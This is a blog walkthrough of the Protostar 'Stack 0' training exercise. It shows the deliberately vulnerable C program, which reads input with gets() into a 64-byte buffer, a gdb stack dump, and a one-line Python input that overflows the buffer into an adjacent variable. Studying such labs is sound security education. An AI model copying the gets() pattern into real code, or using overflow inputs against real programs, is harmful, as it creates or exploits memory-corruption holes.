Wednesday, December 5, 2012

exploit-exercises Protostar: Stack 0

This is the first write-up of exploit-exercise's Protostar wagame which introduces to the concept of memory corruption vulnerabilities.
In Stack0 challenge, we are provided with the following code source:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
 
  modified = 0;
  gets(buffer);

  if(modified != 0)
    {
      printf("you have changed the 'modified' variable\n");
    }
  else
    {
      printf("Try again?\n");
    }
}
As you have guessed, the goal is to change the value of modified variable.
But, how you may ask ? We are only able to write into buffer, through gets() function call.
We should start with understanding the memory layout for a function call (in
our case, main())
The stack is a LIFO (Last-In, First-Out) data structure. We "push" data into
the stack, and "pop" from it. A "pop" operation returns the last element that
was inserted into the stack, thus the LIFO name. "See it like a dishes' stack", said
one of my teachers in college (and yes, I still remember it.)
Any assembly introductory tutorials should explain in details the use of
registers such as ESP, EIP, EBP as well as where local variables are stored in memory.

A picture  is worth a million of words.

(First Google images result, straight from wikipedia.)
 Diving into stack0's memory layout, with gdb, we see:
user@protostar:~$ gdb -q /opt/protostar/bin/stack0
Reading symbols from /opt/protostar/bin/stack0...done.
(gdb) break main
Breakpoint 1 at 0x80483fd: file stack0/stack0.c, line 10.
(gdb) run
Starting program: /opt/protostar/bin/stack0

Breakpoint 1, main (argc=1, argv=0xbffff884) at stack0/stack0.c:10
warning: Source file is more recent than executable.
10      modified = 0;
(gdb) next
11      gets(buffer);
(gdb)
AAAAAAAAAAAAAAA
13      if(modified != 0) {
(gdb) x/40xw $esp
0xbffff770:     0xbffff78c      0x00000001      0xb7fff8f8      0xb7f0186e
0xbffff780:     0xb7fd7ff4     0xb7ec6165      0xbffff798       0x41414141
0xbffff790:     0x41414141   0x41414141     0x00414141    0x080482e8
0xbffff7a0:     0xb7ff1040     0x08049620     0xbffff7d8        0x08048469
0xbffff7b0:     0xb7fd8304    0xb7fd7ff4       0x08048450    0xbffff7d8
0xbffff7c0:     0xb7ec6365    0xb7ff1040      0x0804845b    0x00000000
0xbffff7d0:     0x08048450   0x00000000     0xbffff858       0xb7eadc76
0xbffff7e0:     0x00000001   0xbffff884         0xbffff88c        0xb7fe1848
0xbffff7f0:      0xbffff840      0xffffffff             0xb7ffeff4        0x0804824b
0xbffff800:     0x00000001   0xbffff840         0xb7ff0626      0xb7fffab0
(gdb) continue
Continuing.
Try again?
To exploit it, nothing simpler. Given that we can write with no restrictions into buffer, that the declaration of modified variable comes before buffer declaration, we are able to overwrite it.
user@protostar:~$ echo `python -c "print 'A'*65"` | /opt/protostar/bin/stack0
you have changed the 'modified' variable

No comments:

Post a Comment